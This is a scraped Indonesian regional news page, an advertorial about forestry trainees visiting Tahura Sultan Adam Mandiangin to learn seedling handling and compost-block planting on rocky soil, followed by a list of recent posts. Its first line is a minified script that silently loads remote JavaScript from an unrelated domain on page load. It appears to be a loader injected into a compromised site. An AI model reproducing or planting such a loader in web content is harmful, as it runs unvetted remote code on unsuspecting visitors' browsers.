(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV DISHUT KALSEL

Peserta Pembekalan Administrasi dan Teknis Pendamping RHL Praktik di Tahura SA


Tahura Sultan Adam Mandiangin kedatangan tamu dari peserta pembekalan administrasi dan teknis pendamping rehabilitasi hutan dan lahan, yang digelar BPDAS Barito, Kamis (12/4).
Foto: dishut

MANDIANGIN – Tahura Sultan Adam Mandiangin kedatangan tamu dari peserta pembekalan administrasi dan teknis pendamping rehabilitasi hutan dan lahan, yang digelar BPDAS Barito, Kamis (12/4).
Pelaksanaan pembekalan dilaksanakan selama tiga hari. Sedangkan hari terakhir, semua peserta mengunjungi lokasi Rehab DAS yang ada di Puncak Tengger. Peserta melihat langsung ke lokasi Rehab DAS didampingi Kepala Seksi Perlindungan Hutan, Marvizon JL dan Site Manager Mandiangin, HM Hasnand dan staf Tahura SA.

Kepada peserta, Marvizon mengatakan ada beberapa hal yang harus diperhatikan saat di lapangan nanti. Seperti mobilisasi bibit ini harus dengan hati hati, karena bisa mengakibatkan bibit stres. Selain itu, juga kondisi tanah dan tingkat kesuburan tanah perlu diperhatikan dan dianalisa.
Marvizon yang akrab disapa Icon juga menegaskan, nantinya bibit yang akan ditanam sebaiknya terlebih dahulu diseleksi ketinggianya. Selain itu, seandainya ditemukan tanah yang berbatu disarankan menggunakan kompos blok.
Di tempat yang sama, Koordinator Rehabilitasi Hutan dan Lahan, Sunu Dwi Atmoko mengatakan peserta pembekalan yang berjumlah 60 orang yang direkrut untuk menjadi pendamping kegiatan RHL yang tersebar pada KPH se Kalimantan Selatan.
Kenapa Tahura SA dipilih sebagai tempat praktik, karena lokasi ini tanahnya berbatu, namun keberhasilan rehabilitasi hampir sempurna. “Maka dari itu kita ajak kawan-kawan ke sini,” ujar Sunu.

Ia berharap, nantinya pengetahuan yang didapat ini bisa diaplikasikan di lapangan.
Salah seorang peserta, Yiniarti mengatakan dengan adanya kunjungan ke lapangan ini, dapat mengetahui secara langsung bagaimana penanaman dan pemeliharaan yang baik dan benar, sehingga menjadi bekal saat berada di lapangan nanti.
“Seperti yang dikatakan narasumber tadi bahwa apabila bertemu dengan kondisi tanah berbatu, maka disarankan untuk menggunakan kompos blok. Ini merupakan hal yang baru kami ketahui dan nantinya bisa direkomendasikan kepada pelaksana di lapangan,” ujarnya. (rizani/tahura)

Editor : cell


Desy

Unit Cyber Kanal Kalimantan

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

3 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

6 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

6 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

8 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

10 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

11 jam ago

This website uses cookies.